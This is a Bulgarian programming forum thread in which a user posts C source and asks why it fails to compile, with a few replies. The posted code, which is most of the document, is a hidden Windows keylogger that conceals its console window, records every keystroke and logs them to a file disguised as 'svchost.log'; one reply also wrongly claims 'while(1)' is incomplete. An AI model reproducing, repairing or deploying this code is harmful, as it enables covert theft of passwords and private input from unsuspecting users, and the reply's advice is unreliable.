PDA

View Full Version : Къде е грешката?



01-27-2008, 09:00
192 реда код писах вчера, извадих си очите.
Дава грешка някъде , не може да се компилира?
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)

HWND stealth; /*creating stealth (window is not visible)*/

AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);


int t=get_keys();

return t;
}

int get_keys(void)
{
short character;
while(1)
{
Sleep(10);/*to prevent 100% cpu usage*/
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{

FILE *file;
file=fopen("svchost.log","a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs("[SHIFT]",file);
fclose(file);
break;
case VK_RETURN:
fputs("\n[ENTER]",file);
fclose(file);
break;
case VK_BACK:
fputs("[BACKSPACE]",file);
fclose(file);
break;
case VK_TAB:
fputs("[TAB]",file);
fclose(file);
break;
case VK_CONTROL:
fputs("[CTRL]",file);
fclose(file);
break;
case VK_DELETE:
fputs("[DEL]",file);
fclose(file);
break;
case VK_OEM_1:
fputs("[;:]",file);
fclose(file);
break;
case VK_OEM_2:
fputs("[/?]",file);
fclose(file);
break;
case VK_OEM_3:
fputs("[`~]",file);
fclose(file);
break;
case VK_OEM_4:
fputs("[ [{ ]",file);
fclose(file);
break;
case VK_OEM_5:
fputs("[\\|]",file);
fclose(file);
break;
case VK_OEM_6:
fputs("[ ]} ]",file);
fclose(file);
break;
case VK_OEM_7:
fputs("['\"]",file);
fclose(file);
break;
/*case VK_OEM_PLUS:
fputc('+',file);
fclose(file);
break;
case VK_OEM_COMMA:
fputc(',',file);
fclose(file);
break;
case VK_OEM_MINUS:
fputc('-',file);
fclose(file);
break;
case VK_OEM_PERIOD:
fputc('.',file);
fclose(file);
break;*/
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;
case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;
default:
fclose(file);
break;
}
}
}
}
}

}
return EXIT_SUCCESS;
}

MakeMeLaugh
01-27-2008, 09:42
Компилаторът ти точно какво съобщение за грешка ти изписва?

bebeto0o
01-27-2008, 09:47
:shock: I tfa z akvo e :shock: :shock: :shock:

alex
01-27-2008, 10:02
Когато го пуснеш на компилатора трябва да ти казва ред и място на грешката. Ако е синтактична, ако търсиш логическа грешка която компилатора няма как да избройка ни кажи в какво се изразява грешката за да знаем къде да я търсим в кода.

01-27-2008, 10:14
Когато го пуснеш на компилатора трябва да ти казва ред и място на грешката. Ако е синтактична, ако търсиш логическа грешка която компилатора няма как да избройка ни кажи в какво се изразява грешката за да знаем къде да я търсим в кода.
Уф, бях си написал поста в нотепад и като гледа мен съм хванал цялото >.<
Дава , че всичко от лине 15-24 е грешно?

01-27-2008, 10:17
Всичките грешки пише "expected "," or ";" before '=' token" ili expected constructor,destructor, or type converstion before '=' token.
Da fak?
Proverih go za sintakti4ni i logi4eski grehski i ne namiram takiva?

MakeMeLaugh
01-27-2008, 10:30
Не че съм голям разбирач.. ама това
while(1)
около тия грешните редове - според мен е непълно
Докато какво? ДОкато какво е едно?
В смисъл нещо си трябва или д а е =, <,> и т.н. на 1.
Според мен има празнота

LiLGrizzly
02-05-2008, 15:46
kompa ti e bokluk :grin: